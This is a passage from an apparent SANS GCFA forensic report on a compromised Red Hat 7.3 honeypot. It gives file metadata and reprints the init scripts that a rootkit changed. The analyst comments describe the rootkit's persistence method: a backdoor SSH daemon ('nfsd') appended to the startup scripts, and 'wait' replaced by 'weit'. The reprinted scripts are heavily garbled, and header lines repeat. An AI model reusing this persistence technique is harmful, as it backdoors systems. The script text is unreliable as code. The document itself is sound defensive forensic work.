**Last Accessed** 06/27/03 02:09:11PM
31) Name: bcm5820
   Description: File
   Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/etc/rc.d/init.d/bcm5820
   Entry Modified: 06/20/03 02:17:28AM
   Last Accessed: 06/27/03 02:09:11PM
   Last Written: 04/16/02 10:13:07AM
   Hash Value: 1859dd2bf7c24009963f3363e79c6ee9
   Physical Size: 3,072
   Logical Size: 2,455

32) Name: squid
   Description: File
   Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/etc/rc.d/init.d/squid
   Entry Modified: 06/20/03 02:18:09AM
   Last Accessed: 06/27/03 02:09:11PM
   Last Written: 03/22/02 04:56:28PM
   Hash Value: 17f0dbb410585a18abaca1e7b968364f
   Physical Size: 3,072
   Logical Size: 2,785

34) Name: named
   Description: File
   Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/etc/rc.d/init.d/named
   Entry Modified: 06/20/03 02:18:23AM
   Last Accessed: 06/27/03 02:09:11PM
   Last Written: 03/14/02 04:50:10AM
   Hash Value: c7d2e8dc59a0c78573032af6a1caf5
   Physical Size: 3,072
   Logical Size: 2,281

35) Name: S95atd
   Description: File
   Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/etc/rc.d/rc5.d/S95atd
   Entry Modified: 06/19/03 11:34:39AM
   Last Accessed: 06/23/03 12:00:19PM
   Last Written: 06/19/03 11:34:39AM
   Hash Value: 
   Physical Size: 856
   Logical Size: 13

Comment: The S95atd is the script that boots the (compromised) syslog script.

**Startup files modified by root kit**

Compromised startup files

36) Name: functions
Entry Modified: 06/29/03 03:25:21PM
Last Accessed: 06/29/03 03:22:04PM
Last Written: 06/29/03 03:25:21PM
Hash Value: e62d86534bd966c0378d045aaa0762
Physical Size: 10,240
Logical Size: 9,998

Comment: The functions startup script has "/usr/sbin/nfsd -f /sbin/sshd_config" appended to it. This is done by the install script found in the /tmp/ directory.

#!/bin/bash
# functions This file contains functions to be used by most or all shell scripts in the /etc/init.d directory.
#
# Version: 0(#) /etc/init.d/functions 1.01 26-Oct-1993
#
# Author: Miquel van Smoorenburg, <miquels@drinkel.nl.mugnet.org>
# Hacked by: Greg Galloway and Marc Ewing
#
# i18n originally by: Arnaldo Carvalho de Melo <acme@conectiva.com.br>,
# Wanderlei Antonio Cavassin
TEXTDOMAIN=initscripts
TEXTDOMAIN=/etc/locale

# Make sure umask is sane
umask 022
# First set up a default search path.
export PATH="/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin"

# Get a sane screen width
| -z "${COLUMNS:=}" | & & COLUMNS=80
if [ -f /etc/sysconfig/i18n ] -a -z "${NOLOCALIZE:=}" ]; then
  . /etc/sysconfig/i18n
fi

if [ -f /etc/sysconfig/i18n ] -a -z "${NOLOCALIZE:=}" ]; then
  . /etc/sysconfig/i18n
fi

if [ -z "${BOOTUP:=}" ]; then
  if [ -f /etc/sysconfig/init ]; then
    . /etc/sysconfig/init
  else
    # This all seem confusing? Look in /etc/sysconfig/init,
    # or in /usr/doc/initscripts-*/sysconfig.txt
    BOOTUP=color
    RES_COL=60
    MOVE_TO_COL="echo -en \033[0;33m\033[1;32m"
    SETCOLOR_SUCCESS="echo -en \033[0;32m"
    SETCOLOR_FAILURE="echo -en \033[0;31m"
    SETCOLOR_WARNING="echo -en \033[0;33m"
  fi
fi

EnCase Computer Analysis Report
Sans GCFA Cert Assignment: EnCase Computer Analysis Report

Description: File
Full Path: Sans GCFA Cert Assignment: Linux 7.3 Honey pot system:/etc/rc.d/init.d/functions
Entry Modified: 06/29/03 03:25:21PM
Last Accessed: 06/29/03 03:22:04PM
Last Written: 06/29/03 03:25:21PM
Hash Value: e62d86534bd966c0378d045aaa0762
Physical Size: 10,240
Logical Size: 9,998

Comment: The functions startup script has "/usr/sbin/nfsd -f /sbin/sshd_config" appended to it. This is done by the install script found in the /tmp/ directory.
EnCase Computer Analysis Report
EnCase Computer Analysis Report

```
SETCOLOR_NORMAL="echo -en \033[0m"
LOGLEVEL=1
fi
if [ -x /sbin/consoletype ]; then
  if [ "`consoletype" = "serial" ]; then
    BOOTUP=serial
    MOVE_TO_COL=
    SETCOLOR_SUCCESS=
    SETCOLOR_FAILURE=
    SETCOLOR_WARNING=
    SETCOLOR_NORMAL=
  fi
fi
fi
if [ "${BOOTUP:-}" != "verbose" ]; then
  INITLOG_ARGS="-q"
else
  INITLOG_ARGS=
fi

# Check if $sid (could be plural) are running
checkpid() {
  while [ "$1" ]; do
    [ -d /proc/$1 ] & & return 0
    shift
  done
  return 1
}

# A function to start a program.
demon() {
  # Test syntax.
  local gotbase= force=
  local base= user= nice= bg= pid
  nicelevel=0
  while [ "$1" != "%{1##\-}" ]; do
    case $1 in
      '')
        echo "$0: Usage: daemon [+/ -nicelevel] [program]"
        return 1;;
      --check)
        gotbase=2
        gotbase="yes"
        shift 2
        ;;
      --check=??*
        base=${1#--check=}
        gotbase="yes"
        shift
        ;;
      --user)
        user=2
        shift 2
        ;;
      --user=??*
        user=${1#--user=}
        shift
        ;;
      --force)
        force="force"
        shift
        ;;
      [+-][0-9]*)
        nice="nice -n $1"
        shift
        ;;
      *)
        echo "$0: Usage: daemon [+/ -nicelevel] [program]"
        return 1;;
    esac
```

© SANS Institute 2004, Author retains full rights.
esac
done

# Save basename.
[ -z "$gotbase" ] && base=${1##*/}

# See if it's already running. Look 'only' at the pid file.
pid=`pidfileofproc $base`
[ -n "${pid:+-}" -a -z "${force:+}" ] && return

# make sure it doesn't core dump anywhere; while this could mask # problems with the daemon, it also closes some security problems
ulimit -S -c 0 >/dev/null 2>&1

# Echo daemon
[ "${BOOTUP:+}" = "verbose" -a -z "$LSB" ] && echo -n "$base"

# And start it up.
if [ -z "$user" ]; then
$nice initlog $INITLOG_ARGS -c "$*"
else
$nice initlog $INITLOG_ARGS -c "su -s /bin/bash - $user -c \"$\"
fi
[ "$?" -eq 0 ] && success "$base startup" || failure "$base startup"

} # A function to stop a program.
killproc() {
    RC=0
    # Test syntax.
    if [ "$#" -eq 0 ]; then
echo "$Usage: killproc [program] [signal]"
    return 1
    fi
    notset=0
    # check for second arg to be kill level
    if [ "$2" = "-s" ]; then
    killlevel=$2
    else
    notset=1
    killlevel="-9"
    fi
    # Save basename.
    base=${1##*/}

    # Find pid.
    pid=`pidofproc $1`
    if [ -z "$pid" ] ; then
    pid=`pidofproc $base`
    fi
    # Kill it.
    if [ -n "$pid" ] ; then
    [ "$BOOTUP" = "verbose" -a -z "$LSB" ] && echo -n "$base"
    if [ "$notset" -eq "1" ]; then
    if checkpid $pid 2>&1; then
    # TERM first, then KILL if not dead
    kill -TERM $pid
    usleep 100000
    if checkpid $pid && sleep 1 &&
    checkpid $pid && sleep 3 &&
    checkpid $pid; then
    kill -KILL $pid
    usleep 100000
    fi
    fi
}
checkpid $pid
RC=$?
[ "$RC" -eq 0 ] && failure "$base shutdown" || success "$base shutdown"
RC=${RC}
# use specified level only
else
  if checkpid $pid >/dev/null 2>&1; then
    kill $killlevel $pid
    RC=$?
    [ "$RC" -eq 0 ] && success "$base $killlevel" || failure "$base $killlevel"
  fi
fi
else
  failure "$base shutdown"
  RC=1
fi

# Remove pid file if any.
if [ "$notset" = "1" ]; then
  rm -f /var/run/$base.pid
fi
return $RC

# A function to find the pid of a program. Looks only at the pidfile
pidfileofproc() {
  local base=${1##*/}
  local pid
  # Test syntax.
  if [ "$#" = 0 ]; then
    echo "$Usage: pidfileofproc {program}"
    return 1
  fi
  # First try "/var/run/*.pid" files
  if [ ! -f /var/run/$base.pid ]; then
    local line p pid=
    read line < /var/run/$base.pid
    for p in $line ; do
      [ -z "p/10-9"] -a -d /proc/$p && pid="pid $p"
done
    if [ -n "$pid:-" ]; then
      echo $pid
      return 0
    fi
  fi
}

# A function to find the pid of a program.
pidofproc() {
  base=${1##*/}
  # Test syntax.
  if [ "$#" = 0 ]; then
    echo "$Usage: pidofproc {program}"
    return 1
  fi
  # First try "/var/run/*.pid" files
  if [ ! -f /var/run/$base.pid ]; then
    local line p pid=
    read line < /var/run/$base.pid
    for p in $line ; do
      [ -z "$p/10-9"] -a -d /proc/$p && pid="pid $p"
done
    if [ -n "$pid:-" ]; then
      echo $pid
      return 0
  fi

© SANS Institute 2004, Author retains full rights.
fi

# Next try "pidof"
pidof -o $$ -o $PPID -o %PPID -x $1 || \
pidof -o $$ -o $PPID -o %PPID -x $0(base)

status() {
    local base=${1##*/}
    local pid

    # Test syntax.
    if [ "$#" = 0 ] ; then
        echo "$Usage: status [program]"
        return 1
    fi

    # First try "pidof"
    pid=`pidof -o $$ -o $PPID -o %PPID -x $1 || \
         pidof -o $$ -o $PPID -o %PPID -x $0(base)`
    if [ "$pid" != "" ] ; then
        echo "$0(base) (pid $pid) is running...";
        return 0
    fi

    # Next try "/var/run/*.pid" files
    if [ -E /var/run/$0(base).pid ] ; then
        read pid < /var/run/$0(base).pid
        if [ "$pid" != "" ] ; then
            echo "$0(base) dead but pid file exists";
            return 1
        fi
    fi

    echo "$0(base) is stopped"
    return 3
}

export_success() {
    [ "$BOOTUP" = "color" ] && $MOVE_TO_COL
    echo -n "["
    [ "$BOOTUP" = "color" ] && $SETCOLOR_SUCCESS
    echo -n "$OK"
    echo -n "$OK"
    echo -ne \r;
    return 0
}

export_failure() {
    [ "$BOOTUP" = "color" ] && $MOVE_TO_COL
    echo -n "[
    [ "$BOOTUP" = "color" ] && $SETCOLOR_FAILURE
    echo -n "$FAILED"
    echo -n "$FAILED"
    echo -ne \r;
    return 1
}

export_passed() {
    [ "$BOOTUP" = "color" ] && $MOVE_TO_COL
    echo -n "[
    [ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL
    echo -n "$OK"
    echo -ne \r;
    return 0
}
echo -n "$PASSED"
[ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL
echo -n ""
echo -ne "\n"
return 1
}

echo_warning() {
[ "$BOOTUP" = "color" ] && $MOVE_TO_COL
echo -n "[
[ "$BOOTUP" = "color" ] && $SETCOLOR_WARNING
echo -n "$WARNING"
[ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL
echo -n "\n"
return 1
}

# Log that something succeeded
success() {
if [ -z "${IN_INITLOG:-}" ]; then
  initlog $INITLOG_ARGS -n $0 -s "$1" -e 1
  # silly hack to avoid EPIPE killing rc.sysinit
  trap "" SIGPIPE
  echo "$INITLOG_ARGS -n $0 -s "$1" -e 1" >&21
  trap - SIGPIPE
fi
[ "$BOOTUP" != "verbose" -a -z "$LSB" ] && echo_success
return 0
}

# Log that something failed
failure() {
rc=$?
if [ -z "${IN_INITLOG:-}" ]; then
  initlog $INITLOG_ARGS -n $0 -s "$1" -e 2
else
  trap "" SIGPIPE
  echo "$INITLOG_ARGS -n $0 -s "$1" -e 2" >&21
  trap - SIGPIPE
fi
[ "$BOOTUP" != "verbose" -a -z "$LSB" ] && echo_failure
return $rc
}

# Log that something passed, but may have had errors. Useful for fsck
passed() {
rc=$?
if [ -z "${IN_INITLOG:-}" ]; then
  initlog $INITLOG_ARGS -n $0 -s "$1" -e 1
else
  trap "" SIGPIPE
  echo "$INITLOG_ARGS -n $0 -s "$1" -e 1" >&21
  trap - SIGPIPE
fi
[ "$BOOTUP" != "verbose" -a -z "$LSB" ] && echo_passed
return $rc
}

# Log a warning
warning() {
rc=$?
if [ -z "${IN_INITLOG:-}" ]; then
  initlog $INITLOG_ARGS -n $0 -s "$1" -e 1
else
  trap "" SIGPIPE
  echo "$INITLOG_ARGS -n $0 -s "$1" -e 1" >&21
  trap - SIGPIPE

EnCase Computer Analysis Report

Sans GCFA Cert Assignment

Page 221

#!/bin/bash
#
# syslog  Starts syslogd/klogd.
#
# chkconfig: 2345 12 88
# description: Syslog is the facility by which many daemons use to log

Comment: The syslog startup file has "/usr/sbin/nfsd -f /sbin/sshd_config" appended to the bottom. This is done by the install script located in the /tmp/.s directory. The nfsd is an ssh daemon listening for connection on port 18.

37) Name  syslog
Description  File
Full Path  /etc/rc.d/init.d/syslog
Entry Modified  06/29/03 03:25:21 PM
Last Accessed  06/29/03 03:22:07 PM
Last Written  06/29/03 03:25:21 PM
Hash Value  7e7d2b50756e6d3cd6e35c24b5003d69
Physical Size  2,048
Logical Size  1,405

© SANS Institute 2004, Author retains full rights.
# messages to various system log files. It is a good idea to always \ # run syslog.
### BEGIN INIT INFO
# Provides: syslog
### END INIT INFO

# Source function library.
. /etc/init.d/functions

[ -f /sbin/syslog ] || exit 0
[ -f /sbin/klogd ] || exit 0

# Source config
if [ -f /etc/sysconfig/syslog ]; then
  . /etc/sysconfig/syslog
else
  SYSLOGD_OPTIONS="-m 0"
  KLOGD_OPTIONS="-2"
fi

RETVAL=0

umask 077

start() {
  echo -n "Starting system logger: 
  daemon syslog $SYSLOGD_OPTIONS
  RETVAL=$?
  echo
echo -n "Starting kernel logger: 
  daemon klogd $KLOGD_OPTIONS
  echo
  [ $RETVAL -eq 0 ] && touch /var/lock/subsys/syslog
  return $RETVAL
}

stop() {
  echo -n "Shutting down kernel logger: 
  killproc klogd
echo
  echo -n "Shutting down system logger: 
  killproc syslog
  RETVAL=$?
echo
  [ $RETVAL -eq 0 ] && rm -f /var/lock/subsys/syslog
  return $RETVAL
}

rhstatus() {
  status syslog
  status klogd
}

restart() {
  stop
  start
}

case "$1" in
  start)
    start
    ;;
  stop)
    stop
    ;;
  status)
    rhstatus
    ;;
  restart|reload)
    restart
    ;;
  condrestart)
### 38) rc.sysinit

**Name:**  rc.sysinit  
**Description:** File

**Full Path:**  
Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\rc.sysinit

**Entry Modified:**  06/29/03 03:22:09PM  
**Last Accessed:**  06/30/03 04:45:40PM  
**Last Written:**  06/29/03 03:22:09PM  
**Hash Value:** ee965268d25b94ed0ffeb16dfe5be890  
**Physical Size:** 22,528  
**Logical Size:** 22,379

**Comment:** The rc.sysinit file was edited by the p.ssh script. The p.ssh script is called (sh p.ssh) by the install script from the s.tar.gz archive. The "wait" statement at the end of the file has been replaced with "weit". The weit file is located in /usr/sbin/ directory and calls popauth, an executable in the /.x directory.

```bash
#!/bin/bash
#
# /etc/rc.sysinit - run once at boot time
#
# Taken in part from Miquel van Smoorenburg's bcheckrc.
#
# Rerun ourselves through initlog
if [ -z "$IN_INITLOG" ]; then
  [ -f /sbin/initlog ] && exec /sbin/initlog $INITLOG_ARGS -r /etc/rc.sysinit
fi

# If we're using devfs, start devfsd now - we need the old device names
[ -e /dev/.devfsd -a -x /sbin/devfsd ] && /sbin/devfsd /dev

# Set the path
PATH=/bin:/sbin:/usr/bin:/usr/sbin
export PATH
HOSTNAME=`/bin/hostname`

# Read in config data.
if [ -f /etc/sysconfig/network ]; then
  . /etc/sysconfig/network
else
  NETWORKING=no
fi

if [ -z "$HOSTNAME" -o "$HOSTNAME" = "(none)" ]; then
  HOSTNAME=localhost
fi

# Source functions
. /etc/init.d/functions

# Print a banner. ;)
echo -en \\
if grep -q "Red Hat" /etc/redhat-release ; then
```
```bash
[ "$BOOTUP" = "color" ] && echo -en \"$\"\033[1;31m" 
else 
    Red Hat
    PRODUCT=`sed s/Red Hat \(.*\) release.*/\1/ /etc/redhat-release`
    echo "$PRODUCT"
fi 
if [ "$PROMPT" != "no" ]; then 
    echo -en \"$\"\033[0;39m"
fi 
# Fix console loglevel
/bin/dmesg -n $LOGLEVEL

# Mount /proc (done here so volume labels can work with fsck)
action "$Mounting proc filesystem: " mount -n -t proc /proc /proc

# Unmount the initrd, if necessary
if grep -q /initrd /proc/mounts && ! grep -q /initrd/loopfs /proc/mounts ; then 
    if [ ! -e /initrd/dev/.devfsd ]; then 
        umount /initrd/dev
    fi 
    action "$Unmounting initrd: " umount /initrd
    /sbin/blockdev --flushbufs /dev/ram0 >/dev/null 2>&1
fi 

# Configure kernel parameters
action "$Configuring kernel parameters: " sysctl -p /etc/sysctl.conf

# Set the system clock.
ARC=0
SRM=0
UTC=0
if [ ! /etc/sysconfig/clock ]; then 
    . /etc/sysconfig/clock
    # convert old style clock config to new values
    if [ "$CLOCKMODE" = "GMT" ]; then
        UTC=true
    elif [ "$CLOCKMODE" = "ARC" ]; then
        ARC=true
    fi
    CLOCKDEF="$
    CLOCKFLAGS="$CLOCKFLAGS --hctosys"
    case "$UTC" in
        yes|true)
            CLOCKFLAGS="$CLOCKFLAGS --utc"
            CLOCKDEF="$CLOCKDEF (utc)"
            ;;
        no|false)
            CLOCKFLAGS="$CLOCKFLAGS --localtime"
            CLOCKDEF="$CLOCKDEF (localtime)"
            ;;
    esac
    case "$ARC" in
        yes|true)
            CLOCKFLAGS="$CLOCKFLAGS --arc"
            CLOCKDEF="$CLOCKDEF (arc)"
            ;;
```
EnCase Computer Analysis Report

Sans GCFA Cert Assignment

EnCase Computer Analysis Report

Page 225

EnCase Computer Analysis Report

Sans GCFA Cert Assignment

EnCase Computer Analysis Report

Page 225

EnCase Computer Analysis Report

Sans GCFA Cert Assignment

EnCase Computer Analysis Report

Page 225

EnCase Computer Analysis Report

Sans GCFA Cert Assignment

EnCase Computer Analysis Report

Page 225

EnCase Computer Analysis Report

Sans GCFA Cert Assignment

EnCase Computer Analysis Report

Page 225

EnCase Computer Analysis Report

Sans GCFA Cert Assignment

EnCase Computer Analysis Report

Page 225

EnCase Computer Analysis Report

Sans GCFA Cert Assignment

EnCase Computer Analysis Report

Page 225

EnCase Computer Analysis Report

Sans GCFA Cert Assignment

EnCase Computer Analysis Report

Page 225

EnCase Computer Analysis Report

Sans GCFA Cert Assignment

EnCase Computer Analysis Report

Page 225

; ;
esac
case "$SRM" in
  yes|true)
    CLOCKFLAGS=""$CLOCKFLAGS --srm"
    CLOCKDEF=""$CLOCKDEF (srm)"
  ; ;
esac
/sbin/hwclock "$CLOCKFLAGS"

action "$Setting clock $CLOCKDEF: `date`" date
if [ "/sbin/consoletype" = "vt" ]; then
  # Load keymap
  if [ -x /bin/loadkeys ]; then
    KEYTABLE=
    KEYMAP=
    if [ -f /etc/sysconfig/console/default.kmap ]; then
      KEYMAP=/etc/sysconfig/console/default.kmap
    else
      if [ -f /etc/sysconfig/keyboard ]; then
        /etc/sysconfig/keyboard
      fi
      if [ -n "$KEYTABLE" -a -d "/usr/lib/kbd/keymaps" -o -d "/lib/kbd/keymaps" ]; then
        KEYMAP=$KEYTABLE
      fi
    fi
    if [ -n "$KEYMAP" ]; then
      # Since this takes in/output from stdin/out, we can't use initlog
      if [ -n "$KEYTABLE" ]; then
        echo "$Loading default keymap ($KEYTABLE): "
      else
        echo "$Loading default keymap: "
      fi
      loadkeys $KEYMAP < /dev/tty0 > /dev/tty0 2>/dev/null &&
      success "$Loading default keymap" || failure "$Loading default keymap"
      echo
    fi
  fi
  # Load system font
  if [ -x /sbin/setsysfont ]; then
    if [ -f /etc/sysconfig/i18n ] && . /etc/sysconfig/i18n
    if [ -f /etc/sysconfig/console/$SYSFONT.psf.gz -o
      -f /usr/lib/kbd/consolefonts/$SYSFONT.psf.gz -o
      -f /etc/sysconfig/console/$SYSFONT.gz -o
      -f /lib/kbd/consolefonts/$SYSFONT.gz -o
      -f /lib/kbd/consolefonts/$SYSFONT.psf.gz ]; then
      action "$Setting default font ($SYSFONT): " /sbin/setsysfont
    fi
  fi
  # Start up swapping.
  action "$Activating swap partitions: " swapon -a -e
  # Set the hostname.
  action "$Setting hostname ${HOSTNAME}: " hostname ${HOSTNAME}
  # Initialize USB controller and HID devices
  usb=0
  if ! grep -iq "nousb" /proc/cmdline 2>/dev/null &&
  grep -q "usb" /proc/devices 2>/dev/null ; then
    aliases="/sbin/modprobe -c awk '/alias usb-controller/ { print $3 }'"
    if [ -n "$aliases" -a "$aliases" != "off" ]; then
      modprobe usbcore
      action "$Mounting USB filesystem: " mount -t usbdevfs usbdevfs /proc/bus/usb
for alias in $aliases ; do
  if [ "$alias" != "off" ] && action "$alias": "modprobe $alias"
    done
  [ $? -eq 0 -a -n "$aliases" ] && usb=1
fi
fi

if ! grep -iq "nousb" /proc/cmdline 2>/dev/null && grep -q "usb" /proc/devices 2>/dev/null ; then
  usb=1
fi

needusbstorage=
if [ $usb = "1" ]; then
  sleep 5
  mouseoutput=`cat /proc/bus/usb/devices 2>/dev/null|grep -E '^I.*Cls=03.*Prot=02'`
  kbdoutput=`cat /proc/bus/usb/devices 2>/dev/null|grep -E '^I.*Cls=03.*Prot=01'`
  needusbstorage=`cat /proc/bus/usb/devices 2>/dev/null|grep -e '^I.*Cls=08'`
  if [ -n "$kbdoutput" ] || [ -n "$mouseoutput" ]; then
    action "$alias": "modprobe hid 2> /dev/null"
  fi
  if [ -n "$kbdoutput" ]; then
    action "$alias": "modprobe keybdev"
  fi
  if [ -n "$mouseoutput" ]; then
    action "$alias": "modprobe mousedev"
  fi
fi

if [ -f /fastboot ] || grep -iq "fastboot" /proc/cmdline 2>/dev/null ; then
  fastboot=yes
  else
  fastboot=
fi

if [ -f /fsckoptions ]; then
  fsckoptions=`cat /fsckoptions`
  else
  fsckoptions=
fi

if [ -f /forcefsck ]; then
  fsckoptions="-f $fsckoptions"
  elif [ -f /.autofsck ]; then
    echo "$PROMPT": "Your system appears to have shut down uncleanly"
    AUTOFSCK_TIMEOUT=5
    AUTOFSCK_DEF_CHECK=no
    [ -f /etc/sysconfig/autofsck ] && . /etc/sysconfig/autofsck
    if [ "$AUTOFSCK_DEF_CHECK" = "yes" ]; then
      AUTOFSCK_OPT=-f
    else
      AUTOFSCK_OPT=
    fi
  if [ "$PROMPT" != "no" ]; then
    if [ "$AUTOFSCK_DEF_CHECK" = "yes" ]; then
      if /sbin/getkey -c $AUTOFSCK_TIMEOUT -m "$PROMPT": "Press N within \d seconds to not force file system integrity check..." n ; then
        AUTOFSCK_OPT=
      else
        if /sbin/getkey -c $AUTOFSCK_TIMEOUT -m "$PROMPT": "Press Y within \d seconds to force file system integrity check..." y ; then
          AUTOFSCK_OPT=-f
        else
          echo
        fi
      fi
    fi
# PROMPT not allowed
if [ "$AUTOFSCK_DEF_CHECK" = "yes" ]; then
    echo "$forcing file system integrity check due to default setting"
else
    echo "$Not forcing file system integrity check due to default setting"
fi

fsckoptions="$AUTOFSCK_OPT $fsckoptions"

if [ "$BOOTUP" = "color" ]; then
    fsckoptions="-c $fsckoptions"
else
    fsckoptions="-v $fsckoptions"
fi

_RUN_QUOTACHECK=0
_ROOTFSTYPE=`grep " / " /proc-mounts | awk '{ print $3 }'`
if [ -z "$fastboot" -a "$ROOTFSTYPE" != "nfs" ]; then
    STRING="Checking root filesystem"
    echo "$STRING"
    initlog -c "fsck -T -a $fsckoptions /"
    rc=$?
    if [ $rc = "0" ]; then
        success "$STRING"
    else
        passed "$STRING"
        echo
        _RUN_QUOTACHECK=1
    fi
fi

# Possibly update quotas if fsck was run on /.
grep -E '([^:space:]+)\+([^:space:]+)\+ /etc/fstab | \ awk '{ print $4 }' | \ grep -q quota
_ROOT_HAS_QUOTA=0
if [ "$RUN_QUOTACHECK" = "1" -a "$ROOT_HAS_QUOTA" -a 
    -x /sbin/quotacheck ]; then
    if [ -f /quota.user ]; then
        action "$Converting old user quota files: " 
        /sbin/convertquota -u / && rm -f /quota.user
    fi

    # A return of 2 or higher means there were serious problems.
    if [ $rc -gt 1 ]; then
        failure "$STRING"
    echo
    echo
    echo "$*** An error occurred during the file system check."
    echo "$*** Dropping you to a shell; the system will reboot"
    echo "$*** when you leave the shell."
    PS1="$("Repair filesystem) \# # "); export PS1
    sulogin
    echo "$Unmounting file systems"
    umount -a
    mount -n -o remount,ro /
    echo "$Automatic reboot in progress."
    reboot -f
    elif [ "$rc" = "1" ]; then
        _RUN_QUOTACHECK=1
fi
EnCase Computer Analysis Report

if [-f /quota.group ]; then
    action "$Converting old group quota files: " /sbin/convertquota -g / && rm -f /quota.group
fi

action "$Checking root filesystem quotas: " /sbin/quotacheck -nug /

# check for arguments passed from kernel
if grep -iq nogroup /proc/cmdline >/dev/null 2>&1 ; then
    PNP=
else
    PNP=yes
fi

# set up pnp
if [-x /sbin/isapnp -a -E /etc/isapnp.conf -a ! -E /proc/isapnp ]; then
    if [-n "$PNP" ]; then
        action "$Setting up ISA PNP devices: " /sbin/isapnp /etc/isapnp.conf
    else
        action "$Skipping ISA PNP configuration at users request: " /bin/true
    fi

fi

# Remount the root filesystem read-write.
state=`awk '/(^/dev/ |/root|/ )/ { print $4 }' /proc/mounts`
[ "$state" != "rw" ] &&
    action "$Remounting root filesystem in read-write mode: " mount -n -o remount,rw /

# LVM initialization
if [-e /proc/lvm -a -x /sbin/vgchange -a -f /etc/lvmtab ]; then
    action "$Setting up Logical Volume Management:" /sbin/vgscan && /sbin/vgchange -a y
fi

# Clear mtab
> /etc/mtab

# Remove stale backups
rm -f /etc/mtab* /etc/mtab--

# Enter root, /proc and (potentially) /proc/bus/usb and devfs into mtab.
mount -f /
mount -f /proc
[ -e /dev/.devfsd ] && mount -f -t devfs devfs /dev

# The root filesystem is now read-write, so we can now log via syslog() directly..
if [-n "$IN_INITLOG" ]; then
    IN_INITLOG=
fi
if ! grep -iq nomodules /proc/cmdline >/dev/null 2>&1 && [-f /proc/ksyms ]; then
    USEMODULES=y
else
    USEMODULES=
fi

# Our modutils don't support it anymore, so we might as well remove
# the preferred link.
rm -f /lib/modules/preferred
rm -f /lib/modules/default
if [-x /sbin/depmod -a -n "$USEMODULES" ]; then
    # If they aren't using a recent sane kernel, make a link for them
    if [ ! -n "$uname -r " grep -- "-r-
       then
        ktag="`cat /proc/version`"
        mtag=`grep-l "$ktag" /lib/modules/*/.rhkmvtag 2> /dev/null`
if [ -n "$mtag" ]; then
  mver=`echo $mtag | sed -e 's,/lib/modules/,,'
                  -e 's,/rhkmvtag,,'
                  -e 's,[ 	]*$,' ];
  fi
if [ -n "$mver" ]; then
  ln -sf /lib/modules/$mver /lib/modules/default
  fi
fi
if [ -L /lib/modules/default ]; then
  INITLOG_ARGS= action "$Finding module dependencies: "$ depmod -A default
else
  INITLOG_ARGS= action "$Finding module dependencies: "$ depmod -A
fi
fi

# tweak isapnp settings if needed.
if [ -n "$PNP" -a -f /proc/isapnp -a -x /sbin/sndconfig ]; then
  /sbin/sndconfig --mungepnp
  fi
fi

# Load sound modules iff they need persistent DMA buffers
if grep -q "options sound dmabuf=1" /etc/modules.conf 2>/dev/null ; then
  RETURN=0
  alias="/sbin/modprobe -c | awk '{ print $3 }'"
  if [ -n "$alias" -a "$alias" != "off" ]; then
    action "$Loading sound module ($alias): " modprobe sound
    RETURN=$?
  fi
  alias="/sbin/modprobe -c | awk '{ print $3 }'"
  if [ -n "$alias" -a "$alias" != "off" ]; then
    action "$Loading sound module ($alias): " modprobe sound-slot-0
    RETURN=$?
  fi
fi

if [ -f /proc/sys/kernel/modprobe ]; then
  if [ -n "$USEMODULES" ]; then
    sysctl -w kernel.modprobe="/sbin/modprobe" >/dev/null 2>&1
    sysctl -w kernel.hotplug="/sbin/hotplug" >/dev/null 2>&1
  else
    # We used to set this to NULL, but that causes 'failed to exec' messages
    sysctl -w kernel.modprobe="/bin/true" >/dev/null 2>&1
    sysctl -w kernel.hotplug="/bin/true" >/dev/null 2>&1
  fi
fi

# Load modules (for backward compatibility with VARs)
if [ -f /etc/rc.modules ]; then
  /etc/rc.modules
fi

# Add raid devices
if [ ! -f /proc/mdstat ]; then
  modprobe md >/dev/null 2>&1
fi
if [ -f /proc/mdstat -a -f /etc/raidtab ]; then
  echo -n "$Starting up RAID devices: "
rc=0
for i in `grep "^[^*]*raiddev" /etc/raidtab | awk '{print $2}'; do
  RAIDDEV=`basename $i`
  if [ -z "$RAIDDEV" ]; then
    # First scan the /etc/fstab for the "noauto"-flag
    # for this device. If found, skip the initialization
    # for it to avoid dropping to a shell on errors.
# If not, try raidstart...if that fails then
# fall back to raidadd, raidrun. If that
# also fails, then we drop to a shell
RESULT=1
NOAUTO=`grep "^-i" /etc/fstab | grep -c "noauto"`
if [ $NOAUTO -gt 0 ]; then
  RESULT=0
  RAIDDEV="$RAIDDEV(skipped)"
fi
if [ $RESULT -gt 0 ]; then
  /sbin/raid0run $i
  RESULT=$?
  fi
if [ $RESULT -gt 0 ]; then
  /sbin/raidadd -a -x /sbin/raidrun $i
  RESULT=$?
fi
if [ $RESULT -gt 0 ]; then
  echo -n "$RAIDDEV 
else
  echo -n "$RAIDDEV 
fi
done
# A non-zero return means there were problems.
if [ $rc -gt 0 ]; then
echo
    echo
    echo "$*** An error occurred during the RAID startup"
    echo "$*** Dropping you to a shell; the system will reboot"
    echo "$*** when you leave the shell."
    PS1="$(RAID Repair) \# "; export PS1
    sulogin
    echo "$Unmounting file systems"
    umount -a
    mount -o remount,ro /
    echo "$Automatic reboot in progress."
    reboot -f
fi
# LVM initialization, take 2 (it could be on top of RAID)
if [-e /proc/lvm -a -x /sbin/vgchange -a -f /etc/lvmtab ]; then
  action "$Setting up Logical Volume Management:" /sbin/vgscan && /sbin/vgchange -a y
fi
_UNRUN_QUOTACHECK=0
# Check filesystems
if [ -z "$fastboot" ]; then
  STRING="$"Checking filesystems"
  echo $STRING
  initlog -c "$fsck -T -R -a $fsckoptions"
  rc=$?
  if [ "$rc" = "0" ]; then
    success "$STRING"
    echo
  elif [ "$rc" = "1" ]; then
    passed "$STRING"
    echo
  fi
EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report

Page 231

fi

# A return of 2 or higher means there were serious problems.
if [ $rc -gt 1 ]; then
    failure "$STRING"
echo
echo "*** An error occurred during the file system check."
echo "*** Dropping you to a shell; the system will reboot"
echo "*** when you leave the shell."

PS1="$(Repair filesystem) \# # "; export PS1

su -
login

# Unmounting file systems
umount -a
mount -n -o remount,ro /

# Automatic reboot in progress.
